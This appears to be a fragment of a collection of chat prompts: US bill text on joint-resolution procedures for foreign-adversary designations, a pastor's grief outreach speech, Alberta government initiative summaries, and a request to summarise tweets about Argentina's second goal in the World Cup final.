proceed is not debatable. The \n motion is not subject to a motion to postpone. A motion \n to reconsider the vote by which the motion is agreed to \n or disagreed to shall not be in order. If a motion to \n proceed to the consideration of the covered joint \n resolution is agreed to, the covered joint resolution \n shall remain the unfinished business until disposed of.\n (D) Debate.--Debate on covered joint resolution, \n and on all debatable motions and appeals in connection \n therewith, shall be limited to not more than 10 hours, \n which shall be divided equally between the majority and \n minority leaders or their designees. A motion to \n further limit debate is in order and not debatable. An \n amendment to, or a motion to postpone, or a motion to \n proceed to the consideration of other business, or a \n motion to recommit the covered joint resolution is not \n in order.\n (E) Vote on passage.--The vote on passage shall \n occur immediately following the conclusion of the \n debate on the covered joint resolution and a single \n quorum call at the conclusion of the debate, if \n requested in accordance with the rules of the Senate.\n (F) Rulings of the chair on procedure.--Appeals \n from the decisions of the Chair relating to the \n application of the rules of the Senate, as the case may \n be, to the procedure relating to a covered joint \n resolution shall be decided without debate.\n (G) Consideration of veto messages.--Debate in the \n Senate of any veto message with respect to a covered \n joint resolution, including all debatable motions and \n appeals in connection with such covered joint \n resolution, shall be limited to 10 hours, to be equally \n divided between, and controlled by, the Majority Leader \n and the Minority Leader or their designees.\n (5) Rules relating to senate and house of \n representatives.--\n (A) Coordination with action by other house.--If, \n before the passage by one House of a covered joint \n resolution of that House, that House receives a covered \n joint resolution from the other House, then the \n following procedures shall apply:\n (i) The covered joint resolution of the \n other House shall not be referred to a \n committee.\n (ii) With respect to covered joint \n resolution of the House receiving the \n legislation--\n (I) the procedure in that House \n shall be the same as if no covered \n joint resolution had been received from \n the other House; but\n (II) the vote on passage shall be \n on the covered joint resolution of the \n other House.\n (B) Treatment of a covered joint resolution of \n other house.--If one House fails to introduce a covered \n joint resolution under this section, the covered joint \n resolution of the other House shall be entitled to \n expedited floor procedures under this section.\n (C) Treatment of companion measures.--If, following \n passage of the covered joint resolution in the Senate, \n the Senate then receives a companion measure from the \n House of Representatives, the companion measure shall \n not be debatable.\n (c) Rules of Senate and House of Representatives.--Subsection (b) \nis enacted by Congress--\n (1) as an exercise of the rulemaking power of the Senate \n and the House of Representatives, respectively, and as such are \n deemed a part of the rules of each House, respectively, but \n applicable only with respect to the procedure to be followed in \n that House in the case of legislation described in those \n sections, and supersede other rules only to the extent that \n they are inconsistent with such rules; and\n (2) with full recognition of the constitutional right of \n either House to change the rules (so far as relating to the \n procedure of that House) at any time, in the same manner, and \n to the same extent as in the case of any other rule of that \n House.\n (d) Effect of Covered Joint Resolution.--\n (1) Joint resolutions of disapproval of designation.--A \n joint resolution of disapproval of designation that is enacted \n in accordance with this section shall remove the designation as \n a foreign adversary of a foreign government or regime that is \n the subject of the joint resolution of disapproval of \n designation for purposes of this Act.\n (2) Joint resolutions of disapproval of removal of \n designation.--A joint resolution of disapproval of removal of \n designation that is enacted in accordance with this section \n shall prohibit the removal of designation as a foreign \n adversary of a foreign government or regime that is the subject \n of the joint resolution of disapproval of removal of \n designation for purposes of this Act.1 / 1" -'Also, I had an outreach event at the church to help people dealing with grief during the holidays. You don\'t need to incorporate the "Holiday" aspect, I am just giving you this as additional information to take into consideration. Also to see my specific writing and speaking style of conversational compassion:\n\nHope for the Holidays\n\nGood Evening, my name is JR- I am the Senior Pastor here and on behalf of Westshore Christian Church, I want to welcome you to Hope for the Holidays- a time of encouragement and support!\nSo here is how tonight is going to work. \nIn a moment, I am going to talk about some things that may help us this Christmas- give us all some encouragement.\nThen we are going to have some quiet time to pray and think upon those things.\nAfter that, we will break into group/groups where we will have some discussion, support and prayer.\nLastly, I will come back up here and wrap things up.\nOur hope and prayer is that this evening will be a blessing to you and that it will also be a source of support, encouragement and healing as we enter the Holiday season.\nBefore we continue, would you join me in a word of prayer…\nDear Heavenly Father, we come before you this evening with broken hearts. We have lost someone very close and dear to our hearts and we are hurting. We know Father that you understand the pain that we are going through as you gave your one and only Son, Jesus on our behalf. We pray that this evening, you would comfort us, you would restore and refresh us- that you Lord, would give us Hope for the Holidays. We trust in you this evening to show us the way--- the way that we should go. In Jesus Name we pray, Amen.\n---\\*DEPENDING ON WHO IS HERE---\nWell, some of you know me and some of you do not know me. So, very quickly here, I would like to share a little bit about me and why we are meeting tonight.\nI am not here tonight to preach to you (although I probably will… 😊), I am here – AS ONE OF YOU.\nI am not here to give you all the answers to the grief and loss that you are feeling… I am here to discover the answers WITH YOU.\nYou see, on August 11, 2020, my mom died suddenly and unexpectedly.\nMy mom had been diagnosed with cancer- but that is not how she died.\nMy mom called me on the phone (she lived in Virginia) and told me about the cancer. I was serving a church in New York at the time- the whole church prayed for my mom- that there would be some miracle.\nThen we got the call, the miracle came- the cancer was operable, there would be a little bit of chemo, but she was going to be okay!\nOur prayers had been answered! We praised God for it!\nThen a week later my mom (with no heart issues that we were aware of) died suddenly of a heart attack.\nI will be honest with you, I am a pastor- I’m not perfect, but I am the one that people call when they need counsel, when they need comfort, when they need prayer. \nI found myself- the one who usually has the answer, with no answers, and too many questions that I never thought I would be asking…\nIt’s been over 2 years since my mom died, I can’t say that all my questions have been answered, but I can say that slowly but surely, I’m becoming okay with that.\nI remember that when it first happened, I felt almost as if I was learning to walk again…\nSome of you may be learning how to walk again…\nThat is why I decided to have this time of support and encouragement tonight because I know that is what all of us need right now.\nIn the Bible- in the book of Ecclesiastes it says this: (spoken slowly)\n“There is a time for everything, and a season for every activity under heaven: a time to be born and a time to die, a time to plant and a time to uproot, a time to kill and a time to heal, a time to tear down and a time to build, a time to weep and a time to laugh, a time to mourn and a time to dance, a time to scatter stones and a time to gather them, a time to embrace and a time to refrain, a time to search and a time to give up, a time to keep and a time to throw away, a time to tear and a time to mend, a time to be silent and a time to speak, a time to love and a time to hate, a time for war and a time for peace.” (Ecclesiastes 3:1–8, NIV84) \nTake a look at verse 4 on the screen:\n“a time to weep and a time to laugh, a time to mourn and a time to dance,” (Ecclesiastes 3:4, NIV84) \nI want you to know that I believe that this Christmas, there is a time for BOTH!\nA Time to Weep and Mourn:\nDo not feel bad for weeping… do not let anyone (including yourself) make you feel bad for weeping. It does not matter if your loved one has been gone for 20 minutes or 20 years. If you need to weep- you weep.\nWeeping is not weakness- Jesus, Himself wept when his friend Lazarus had died. Jesus of all people knows what is to come- and yet He still wept.\nWe weep and mourn because we love… \\*expoundulate…\nWe weep and mourn because we long… \\*expoundulate…\nWe weep and mourn because we have loss… \\*expoundulate…\nBUT, it is also a Time to Laugh and Dance:\nDo not feel bad or be afraid to smile. It is okay. Do not let anyone (including yourself) make you feel bad for smiling and laughing. Sometimes the laughter comes through the tears.\nWe laugh and dance because we STILL love… \\*expoundulate…\nWe laugh and dance because we remember… \\*expoundulate…\nWe laugh and dance because not ALL is lost… \\*expoundulate…\nSo there is a time for each one of these things this Christmas- to weep and mourn AND to laugh and dance!\nAs a pastor, I have heard a lot of things about how people should or should not act when they are mourning, especially at the holidays.\nThere are two things that I usually hear (in one way or another):\nThe first is- Stay Home, don’t get involved, don’t do anything that reminds you of the person… just try to GET THROUGH…\\*Expoundulate…\nThe second thing I hear is- Go Out! Get involved, get your mind off of everything that reminds you of the person… WORK YOUR WAY THROUGH IT…\\*Expoundulate…\nBut I believe there is a third way- a better way!\nIn fact, I have been telling people for years, that I was going to write a book on grief- on mourning… I’m still working on it, but I will dedicate to my mom when I’m finished.\nAgain let me say that there is no right way or wrong way to mourn.\nBut here is my take on what I think is a Better Way To Mourn:\nM iss them… \\*Expoundulate… don’t act like they were never there or that it doesn’t matter or that you are okay…\nO wn your feelings… \\*Expoundulate… don’t act like YOU are okay- that you can handle it or that it’s bad to have these feelings…\nU understand the process… \\*Expoundulate… there’s ups and there’s downs, there’s sudden reminders… (for me- my son Zach’s bday came shortly after my mom died, Rudolph, Veteran’s Day, Our Christmas tree and her gifts, MY bday is coming up…)… \\*Expoundulate…\nR emember the good times… \\*Expoundulate… (it’s okay to celebrate and remember those things you did with them- even talk to them if you want- speak it out loud- “I remember when we did this…”)\nN ew memories (in memory)… \\*Expoundulate…\n\n“A psalm of David. The Lord is my shepherd, I shall not be in want. He makes me lie down in green pastures, he leads me beside quiet waters, he restores my soul. He guides me in paths of righteousness for his name’s sake. Even though I walk through the valley of the shadow of death, I will fear no evil, for you are with me; your rod and your staff, they comfort me. You prepare a table before me in the presence of my enemies. You anoint my head with oil; my cup overflows. Surely goodness and love will follow me all the days of my life, and I will dwell in the house of the Lord forever.” (Psalm 23, NIV84) \n“Do you not know? Have you not heard? The Lord is the everlasting God, the Creator of the ends of the earth. He will not grow tired or weary, and his understanding no one can fathom. He gives strength to the weary and increases the power of the weak. Even youths grow tired and weary, and young men stumble and fall; but those who hope in the Lord will renew their strength. They will soar on wings like eagles; they will run and not grow weary, they will walk and not be faint.” (Isaiah 40:28–31, NIV84) \nMy friends, we too will walk again… with the Lord’s help, we WILL make it through.\nI will be praying for each one of you this Holiday season. If you need anything, if you would like to talk further or need more prayer in the future or if you would like to know more about God and His Saving Grace and Love for you- we are here for you… \\*Expoundulate…\nLet’s close in prayer:\nLord God, sometimes we don’t know what to say and we just turn to you. That is the case today. We turn to you who are our strength during this time of grieving. You are the giver of life in the name of your Son Jesus Christ, who is the source of eternal life. You also understand death. So, we trust you today. Father, you know our grief. Give us peace and comfort. Dry our tears. Soothe our pain.\nWe know of the cross and the death of your Son, Jesus. We know too of the empty tomb. How thankful we are that Jesus rose on the third day, never to die again. We cling to his promise, “Because I live, you shall live also.”\nThank you, dear Father, for his victory over death and for the grace and love that share that victory with us. Comfort us in our loss and deepen our trust in you. In Jesus’ name we pray. Amen.' -'I will provide you a [text] and you will reply with "Read" after you received and understand the information.\nText= \nhas been referred reports the covered joint\nresolution to the House or has been discharged\nfrom further consideration thereof, it shall be in\norder to move to proceed to consider the cov-\nered joint resolution in the House. All points of\norder against the motion are waived. Such a\nmotion shall not be in order after the House\nhas disposed of a motion to proceed on the cov-\nered joint resolution with regard to the same\nagreement. The previous question shall be con-\nsidered as ordered on the motion to its adoption\nwithout intervening motion. The motion shall\nnot be debatable. A motion to reconsider the\nvote by which the motion is disposed of shall\nnot be in order.\n(C) CONSIDERATION.—The covered joint\nresolution shall be considered as read. All\npoints of order against the covered joint resolu-\ntion and against its consideration are waived.\nThe previous question shall be considered as or-\ndered on the covered joint resolution to final\npassage without intervening motion except 2\nhours of debate equally divided and controlled\nby the sponsor of the covered joint resolution\n(or a designee) and an opponent. A motion to\n\nreconsider the vote on passage of the covered\njoint resolution shall not be in order.\n(4) Consideration in the senate.—\n(A) COMMITTEE REFERRAL.—A covered\njoint resolution introduced in the Senate shall\nbe referred to the relevant committees of the\nSenate.\n(B) REPORTING AND DISCHARGE.—If a\nrelevant committee of the Senate has not re-\nported such covered joint resolution within 10\nsession days after the date of referral of such\nlegislation, that committee shall be discharged\nfrom further consideration of such legislation\nand the covered joint resolution shall be placed\non the appropriate calendar.\n(C) Proceeding to consideration.—\nNotwithstanding Rule XXII of the Standing\nRules of the Senate, it is in order at any time\nafter each committee authorized to consider\ncovered joint resolution reports it to the Senate\nor has been discharged from its consideration\n(even though a previous motion to the same ef-\nfect has been disagreed to) to move to proceed\nto the consideration of the covered joint resolu-\ntion, and all points of order against covered\n\njoint resolution (and against consideration of\nthe covered joint resolution) are waived. The\nmotion to proceed is not debatable. The motion\nis not subject to a motion to postpone. A mo-\ntion to reconsider the vote by which the motion\nis agreed to or disagreed to shall not be in\norder. If a motion to proceed to the consider-\nation of the covered joint resolution is agreed\nto, the covered joint resolution shall remain the\nunfinished business until disposed of.\n(D) DEBATE.—Debate on covered joint\nresolution, and on all debatable motions and ap-\npeals in connection therewith, shall be limited\nto not more than 10 hours, which shall be di-\nvided equally between the majority and minority\nleaders or their designees. A motion to further\nlimit debate is in order and not debatable. An\namendment to, or a motion to postpone, or a\nmotion to proceed to the consideration of other\nbusiness, or a motion to recommit the covered\njoint resolution is not in order.\n(E) VOTE ON PASSAGE.—The vote on pas-\nsage shall occur immediately following the con-\nclusion of the debate on the covered joint reso-\nlution and a single quorum call at the conclu-\n\nsion of the debate, if requested in accordance\nwith the rules of the Senate.\n(F) Rulings of the chair on proce-\nDURE.—Appeals from the decisions of the Chair\nrelating to the application of the rules of the\nSenate, as the case may be, to the procedure re-\nlating to a covered joint resolution shall be de-\ncided without debate.\n(G) Consideration of veto mes-\nSAGES.—Debate in the Senate of any veto mes-\nsage with respect to a covered joint resolution,\nincluding all debatable motions and appeals in\nconnection with such covered joint resolution,\nshall be limited to 10 hours, to be equally di-\nvided between, and controlled by, the Majority\nLeader and the Minority Leader or their des-\nignees.\n(5) Rules relating to senate and house\nOF REPRESENTATIVES.—\n(A) Coordination with action by\nOTHER HOUSE.—If, before the passage by one\nHouse of a covered joint resolution of that\nHouse, that House receives a covered joint reso-\nlution from the other House, then the following\nprocedures shall apply:\n\n(i) The covered joint resolution of the\nother House shall not be referred to a com-\nmittee.\n(ii) With respect to covered joint reso-\nlution of the House receiving the legisla-\ntion—\n(I) the procedure in that House\nshall be the same as if no covered\njoint resolution had been received\nfrom the other House; but\n(II) the vote on passage shall be\non the covered joint resolution of the\nother House.\n(B) Treatment of a covered joint\nRESOLUTION OF OTHER HOUSE.—If one House\nfails to introduce a covered joint resolution\nunder this section, the covered joint resolution\nof the other House shall be entitled to expedited\nfloor procedures under this section.\n(C) Treatment of companion meas-\nURES.—If, following passage of the covered\njoint resolution in the Senate, the Senate then\nreceives a companion measure from the House\nof Representatives, the companion measure\nshall not be debatable.\n\n(c) RULES OF SENATE AND HOUSE OF REPRESENTA-\nTIVES.—Subsection (b) is enacted by Congress—\n(1) as an exercise of the rulemaking power of\nthe Senate and the House of Representatives, re-\nspectively, and as such are deemed a part of the\nrules of each House, respectively, but applicable only\nwith respect to the procedure to be followed in that\nHouse in the case of legislation described in those\nsections, and supersede other rules only to the ex-\ntent that they are inconsistent with such rules; and\n(2) with full recognition of the constitutional\nright of either House to change the rules (so far as\nrelating to the procedure of that House) at any time,\nin the same manner, and to the same extent as in\nthe case of any other rule of that House.\n(d) EFFECT OF COVERED JOINT RESOLUTION.—\n(1) Joint resolutions of disapproval of\nDESIGNATION.—A joint resolution of disapproval of\ndesignation that is enacted in accordance with this\nsection shall remove the designation as a foreign ad-\nversary of a foreign government or regime that is\nthe subject of the joint resolution of disapproval of\ndesignation for purposes of this Act.\n(2) Joint resolutions of disapproval of\nREMOVAL OF DESIGNATION.—A joint resolution of\n\ndisapproval of removal of designation that is enacted\nin accordance with this section shall prohibit the re-\nmoval of designation as a foreign adversary of a for-\neign government or regime that is the subject of the\njoint resolution of disapproval of removal of designa-\ntion for purposes of this Act.\nSEC. 8. IMPLEMENTING AUTHORITIES.\n(a) REGULATIONS.—In carrying out the responsibil-\nities under this Act, the Secretary may establish such\nrules, regulations, and procedures as the Secretary con-\nsiders appropriate.\n(b) CLASSES OF TRANSACTIONS.—In conducting re-\nviews, promulgating regulations, implementing prohibi-\ntions or other mitigation measures, or otherwise carrying\nout the responsibilities under this Act, the Secretary may\ntake action with respect to both individual covered trans-\nactions and classes of covered transactions.\n(c) OTHER AUTHORITIES.—\n(1) IN GENERAL.—The Secretary may issue\nguidance, including advisory opinions, and establish\nprocedures to carry out this Act.\n(2) LISTS OF FOREIGN PERSONS.—The Sec-\nretary may create lists of foreign persons that may\nbe subject to prohibitions or restrictions and related\n\nmechanisms to revise and update such lists periodi-\ncally.\n(3) ADDITIONAL AUTHORITY.—The Secretary\n4 may undertake any other action as necessary to\ncarry out the responsibilities under this Act that is\nnot otherwise prohibited by law.\n(d) ADVISORY COMMITTEES.—The Secretary may ap-\npoint technical advisory committees to advise the Sec-\nretary in carrying out the responsibilities under this Act.\nChapter 10 of part 1 of title 5, United States Code, shall\nnot apply to any meeting of such an advisory committee\nheld pursuant to this subsection.\nSEC. 9. INFORMATION TO BE FURNISHED.\n(a) IN GENERAL.—The Secretary may require any\nparty to a transaction or holding under review or inves-\ntigation pursuant to this Act to furnish under oath, in the\nform of reports or otherwise, at any time as may be re-\nquired by the Secretary, complete information relative to\nany act, transaction, or holding, subject to the provisions\nof this Act.\n(b) AUTHORITY.—In carrying out this Act, the Sec-\nretary may—\n(1) require that information or reports required\nto be submitted under subsection (a) include the\nproduction of any documents relating to any act,' -"Key Initiatives\nhttps://www.alberta.ca/key-initiatives.aspx \nAlberta’s Recovery Plan\nhttps://www.alberta.ca/recovery-plan.aspx\nWe launched the plan in June 2020\nStrengthening our workforce\nWe're investing in programs to get Albertans back to work in good-paying jobs, and we're transforming our adult learning system to nurture talent, create opportunities for industry, and give Albertans the training, skills and knowledge they need for Alberta's future-ready workforce.\n\nGetting thousands of Albertans back to work through the Alberta Jobs Now program by helping businesses offset the cost of hiring and training unemployed or underemployed Albertans in new or vacant positions.\n\nAttracting the best and brightest job-creating entrepreneurs and skilled graduates to Alberta through the International Graduate Entrepreneur Immigration Stream and the Foreign Graduate Start Up Visa Stream.\n\nMaking sure our province is ready to meet the increasing demand for highly skilled workers in all sectors of the economy through the Alberta 2030: Building Skills for Jobs strategy to:\ncreate opportunities for business and industry to thrive and invest in our province\nensure current and future generations have the skills and knowledge they need to succeed\ncreate more opportunities for paid apprenticeships by expanding the apprenticeship model to other careers\n\nWork-Integrated Learning pilot program is creating new learning opportunities to help students get the job ready-skills they need, while providing employers with access to local talent.\nMitacs internship programs for Albertans offer hands-on learning opportunities for students to gain research skills from experienced industry professionals.\nGrowing our resources\nTo grow our economy and pave the way to an even brighter future for all Albertans, we're building on Alberta's strong foundation as a responsible and innovative energy leader, a major source of high-quality agricultural and forest products, and a world-class tourism destination.\nAgriculture and forestry\nAmplifying Alberta’s hard-earned reputation for high-quality agricultural and forest products and a growing capacity to help meet the global demand for food by:\nlaunching ambitious targets that will attract investment to enhance our value-added processing capacity and expand export opportunities to key global markets\nexpanding and modernizing irrigation infrastructure with a record $933-million investment to increase primary agriculture production, support a diversified value-added processing industry, improve water efficiency and storage capacity, and create up to 7,300 direct and indirect jobs and up to 1,400 construction jobs\ninvesting $24 million to expand the Agrivalue Processing Business Incubator\nReducing emissions\nEmpowering Alberta’s industries to continue their impressive leadership reducing emissions and developing game-changing technologies through:\nthe Alberta-made, industry-funded Technology Innovation and Emissions Reduction (TIER) system will invest up to $750 million over 3 years to drive significant emissions reductions, support up to 8,700 jobs, and inject $1.9 billion into the economy\nCanadian Agricultural Partnership is jointly funded by the Government of Alberta and the Government of Canada in Alberta and offers strategic programs and initiatives to help farmers and others in the agriculture and agri-business sector.\nAgriculture Financial Services Corporation offers business risk management programs, disaster relief and lending support for producers and agribusinesses.\nBuilding for the future\nFrom rural broadband and once-in-a-generation irrigation projects, to shovel-ready transportation and health-care projects and schools – we're building the infrastructure Alberta needs now so we can dream big tomorrow.\nWe are investing in critical infrastructure projects to lay the foundation for thousands of good-paying private-sector jobs, build our communities and make Alberta more attractive to investors and employers looking to relocate.\nExpanding rural broadband will capitalize on the tremendous potential of rural Alberta as a world-class destination for people to live and raise a family while still working for companies on Bay Street, Wall Street and Main Street.\n$750 million for agriculture and natural resource infrastructure projects\nInvesting in Canada Infrastructure Program allocates $3.66 billion from the federal government to invest in projects that strengthen our economy and get Albertans working.\nHelping everyday Albertans\nWe're providing the supports Alberta businesses and families need to get back to work and thrive as our economy recovers and grows.\nSupports for businesses\nProvided up to $30,000 to help over 90,000 business owners offset lost revenues through the $1-billion Small and Medium Enterprise Relaunch Grant.\nThe Agriculture Jobs Connector is an online tool to help connect Albertan job seekers with employers in the agriculture and food sector.\nDiversifying our economy\nWe're diversifying our economy today to create more jobs for tomorrow by accelerating growth in new and emerging sectors like tech and innovation, finance, fintech, hydrogen, film and television production, and more.\nWith our strong economic fundamentals, favourable demographics, highly-educated workforce and the most liveable cities, Alberta continues to be one of the best places in North America to invest.\nWe are attracting job-creating private-sector investment from across Canada and around the world to make Alberta’s economy the most diversified in North America by:\nCreating an environment where businesses in the rapidly-growing technology sector can flourish by:\nimplementing the recommendations of the Innovation Capital Working Group\nworking to develop a technology and innovation strategy\nrecapitalizing the Alberta Enterprise Corporation with a $175-million investment to support our technology companies and provide access to capital for early-stage companies\nInnovation Employment Grant offers small and medium-sized businesses a grant of up to 20% toward qualifying research and development expenditures. to incent growth and attract new business to Alberta\nAlberta Innovates provides access to programs, funding, business supports and research facilities to accelerate entrepreneurship and technology-based innovation across the province.\nAlberta 2030: Building Skills for Jobs\nhttps://www.alberta.ca/alberta-2030-building-skills-for-jobs.aspx\ninitiative will develop a highly skilled and competitive workforce, strengthen innovation and commercialization of research, and forge stronger relationships between employers and post-secondary institutions.\n\nWork-integrated Learning Industry Voucher pilot program is a new initiative that provides paid work placement for hundreds of students in their field of study, ensuring they get meaningful, hands-on experience from industry experts and launch successful careers after graduation.\nInterested employers and students can reach out to participating industry associations until 2023. \nTechnology Alberta\nAlberta Construction Association\nBioAlberta\nMatched employer grant funding of up to $5,000 helps businesses hire and mentor local emerging talent.\n\nAlberta Technology and Innovation Strategy\nhttps://www.alberta.ca/alberta-technology-and-innovation-strategy.aspx\n\nOur vision\nAlberta is an internationally recognized technology and innovation hub that develops and attracts talent, business and investment to grow the technology sector and diversify Alberta’s economy.\n\nCreating jobs\nThe Alberta Technology and Innovation Strategy seeks to create 20,000 new jobs for Albertans by 2030.\nGenerating revenue\nAlberta’s technology companies could generate $5 billion more in annual revenue by 2030.\nGoal 1\nIncrease the depth of Alberta’s technology and innovation talent pool\nmaking quality employment and skill-building opportunities available\nGoal 2\nIncrease access to private capital and public investments in Alberta’s technology and innovation sector\nattract and leverage public investment to grow the technology sector.\nBy attracting investment to Alberta’s technology and innovation sector, we are creating the conditions to further attract and retain talent in the province while creating quality opportunities and diversifying our economy.\nGoal 3\nAdvance a system of supports that facilitate commercialization of Alberta research and innovations\nResearch advances in technology and innovation ensure Alberta’s priority sectors remain competitive. By commercializing research, we generate economic value from knowledge and ideas as businesses, entrepreneurs and spin-off companies from post-secondary institutions all help turn knowledge into products and services.\nGoal 4\nOptimize Alberta’s technology and innovation ecosystem\nWork effectively with Alberta’s innovation agencies to ensure that entrepreneurs and innovators are receiving targeted and timely support.\nMaintain an ecosystem with strong communication and collaboration mechanisms between innovation agencies and the business community that enable seamless service delivery.\nGoal 5\nEnhance Alberta’s reputation as a leader in technology and innovation\nAlberta is open for business and has a strong foundation for technology and innovation companies to thrive.\n\nThe advancement of the Alberta Technology and Innovation Strategy’s goals will be a key part of building our reputation as an attractive location for innovators and entrepreneurs to invest, do business, work and live." -'Describe as reporting live a current event in 3 lines, what is happening right now using the following tweets, with a focus on the term "beautifull" :\n\nsourceText Time\nWhat a goal , beautiful 2-0 #FIFAWorldCup argetina dominating , france are clueless 15:36:49.0000000\n?????? beautiful goal #ARGFRA 15:36:51.0000000\nThat was just a beautiful team goal for Argentina’s 2nd 15:35:56.0000000\nArgentina 2nd goal was beautiful ?? 15:36:50.0000000\nArgentina second goal is pure class omg . Beautiful futbol ????? 15:36:38.0000000\nWhat a beautiful counter attack and fantastic goal!! #ArgentinaVsFrance 15:36:33.0000000\nThat goal from Argentina was why they call it the Beautiful Game 15:36:53.0000000\nbeautiful second goal Argentina ???? 15:36:56.0000000\nWow that was beautiful …what a goal #ArgentinaVsFrance 15:36:37.0000000\nBeautiful team goal by Argentina 15:36:51.0000000\nWhat a beautiful goal #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nThat\'s a beautiful goal ???\'\'#ARGFRA #FIFAWorldCup 15:36:52.0000000\nBeautiful team goal Argentina ???? 15:36:21.0000000\nAngel Fucking Di Maria????????????\'Oh my God\'This is absolutely beautiful \'#ArgentinaVsFrance #FIFAWorldCup \'Goal of the tournament in terms of team work 15:36:28.0000000\nGOOOOOOOAAAL!!! \'\'Di Maria doubles the lead for Argentina. What a beautiful team goal. \'\'Argentina ???? 2???0?? France ???? \'\'#FifaWorldCup 15:36:50.0000000\nThat\'s a beautiful goal against one of the best teams in the world. Bravo, Argentina! 15:36:56.0000000\nBeautiful goal #ArgentinaVsFrance #FIFAWorldCup argies been all over France. Thoroughly deserve the 2 nil lead 15:36:48.0000000\nBeautiful Football. Beautiful Goal. THATS WHY YOU LOVE THIS BEAUTIFUL GAME! What a counter. ARGENTINA HAVE ONE HAND ON THE TROPHY!\'#FIFAWorldCup 15:36:42.0000000\nDi Maria SCOOOOOOOOOORESSSS\'\'2-0\'\'Beautiful goal.\'\'#WorldCupFinal 15:36:36.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nWhat a fucking goal\'Absolutely beautiful ?? \'#ArgentinaVsFrance #FIFAWorldCup 15:36:59.0000000\nbeautiful counter attacking goal from Argentina. France need to find a way to get Mbappe involved. 15:36:52.0000000\nThat was gorgeous wow. That was an amazing goal. I don\'t even want Argentina to win but I can\'t deny that was beautiful 15:36:36.0000000\nThat goal was beautiful ???? #WorldCupFinal 15:36:59.0000000\nArgentina came out to play. That goal was beautiful. What a performance by them so far 15:36:42.0000000\nNow that was a beautiful and well deserved goal! France is done. #WorldCupFinal 15:36:51.0000000\nBeautiful goal from Argentina!!??????????? #FIFAWorldCup 15:36:27.0000000\nBeautiful goal Argentina ???? 15:36:39.0000000\nWhat a beautiful set up & goal by Argentina!!! 15:36:29.0000000\nWHAT A BEAUTIFUL GOAL!!! #ARGFRA #WorldCupFinal #ArgentinaVsFrance 15:36:33.0000000\nBeautiful goal.\'#ARGFRA 15:35:54.0000000\nBeautiful Beautiful goal. France have not got going... 15:36:12.0000000\nWhat a ball by MacAllister!! Beautiful goal #BHAFC #ArgentinaVsFrance 15:36:52.0000000\nWhat a beautiful goal by Argentina #ArgentinaVsFrance 15:36:01.0000000\nBeautiful goal by Argentina to be fair 15:36:50.0000000\nDi Maria, beautiful goal \'\'#Argentina #FIFAWorldCupFinal 15:36:41.0000000\nwow that passing and goal was beautiful \'\'Argentina is not playing today \'\'#FIFAWorldCup #Arg 15:36:55.0000000\nOooof. Worst part is -- it\'s a beautiful goal and well deserved. #ArgentinaVsFrance 15:36:27.0000000\nDi Maria with a beautiful goal and Argentins double their lead. France is not themselves today. #ARGFRA 15:36:22.0000000\nJust beautiful football. Beautiful goal #ArgentinaVsFrance #WorldCupFinal 15:36:32.0000000\nArgentina deserves this. Team work and a goal. That is just beautiful ????????. #Yearofthegoat 15:36:40.0000000\nBeautiful goal Argentina 15:36:04.0000000\nWhat a beautiful goal by Argentina Jesus Christ 15:36:09.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:19.0000000\nBeautiful goal. ??? Fantastic. #ArgentinaVsFrance #FIFAWorldCup #FIFAWorldCupFinal 15:36:13.0000000\nBeautiful goal by Argentina 15:36:10.0000000\nBeautiful goal?????? #ArgentinaVsFrance 15:36:10.0000000\nBeautiful goal from Argentina. 15:36:15.0000000\nWhat a beautiful goal! #ArgentinaVsFrance 15:36:08.0000000\nFucking beautiful SECOND GOAL\'\'LEGGGOOO ARGENTINA ???????? 15:36:55.0000000\nWhat a beautiful goal!!!! #ArgentinaVsFrance 15:36:40.0000000\nBeautiful goal! Just beautiful…. #ARGFRA #WorldCupFinal 15:36:06.0000000\nARGENTINA WHAT A BEAUTIFUL GOAL!!! 15:36:24.0000000\nBeautiful Goal!!!! #ArgentinaVsFrance #FIFAWorldCup #Messi??day 15:36:39.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:57.0000000\nWhat a beautiful goal damnnnn ?? Go on Argentina!!!! 15:36:00.0000000\n2-0! What a beautiful goal! ?? #FIFAWorldCup #ArgentinaVsFrance 15:36:33.0000000\nWhat a beautiful goal #ARGFRA 15:36:11.0000000\nThat was terrific! \'\'That was absolutely beautiful! \'\'This goal was fully deserved!!\'\'#FIFAWorldCupFinal #ArgentinaVsFrance #Messi?? 15:36:25.0000000\nBeautiful fucken second goal by Argentina hahahaha omg that was a team goal 15:36:57.0000000\nDamn that was a beautiful sequence for the 2-0 Argentina goal?? 15:36:29.0000000\nThat\'Was\'BEAUTIFUL FOOTBALL \'\'WWWWOOOOWWWWW\'\'Look at how they turned a France half chance to a PERFECT Argentine counter and goal!\'\'Whole French Midfield and Defense in straight shambles 15:36:59.0000000\nWhat a beautiful goal that was ???? #ArgentinaVsFrance 15:36:19.0000000\nAbsolutely beautiful goal by Argentina. Perfection. 15:36:40.0000000\nThat’s a beautiful, beautiful goal by Argentina 15:36:45.0000000\nBeautiful goal by Di Maria #ArgentinaVsFrance #FIFAWorldCup 15:36:18.0000000\nTHAT WAS A BEAUTIFUL GOAL FROM ARGENTINA 15:36:49.0000000\nwhat a beautiful goal #ARGFRA 15:36:18.0000000\nCalled it. This one goal was fucking beautiful! #ARGFRA 15:35:55.0000000\nThat goal was BEAUTIFUL #ARGFRA 15:36:19.0000000\nWhat a beautiful Argentina goal. 15:35:56.0000000\nBeautiful Argentina goal!! What a cross!!!! #FIFAWorldCup #ArgentinaVsFrance 15:36:42.0000000\nWhat a beautiful goal by Argentina. #FIFAWorldCup 15:36:55.0000000\nThat was such a beautiful goal, it was seamless and effortless. Messi has one hand on the #WorldCup trophy 2-0 #ArgentinaVsFrance #Qatar2022 15:36:53.0000000\nWhat a beautiful goal! So we’ll played by Argentina. 15:36:58.0000000\nThat was a beautiful goal!! ?? #WorldCupFinal 15:36:29.0000000\nBEAUTIFUL GOAL FROM ARGENTINA WTF 15:36:29.0000000\nYESSS WHAT A BEAUTIFUL GOAL BY ARGENTINA 15:36:29.0000000\nWhat a beautiful goal! One touch football!! Orgasmic play from Argentina ???? 15:36:50.0000000\nOh my word. Argentina deserve the trophy for that goal alone. Absolutely beautiful ?? #WorldCupFinal 15:36:30.0000000\nBeautiful goal in the run of play. Argentina is completely dominating France. 15:36:40.0000000\nThat is a beautiful goal. What a move by Argentina. #ArgentinaVsFrance #FIFAWorldCup 15:36:38.0000000\nThat’s a 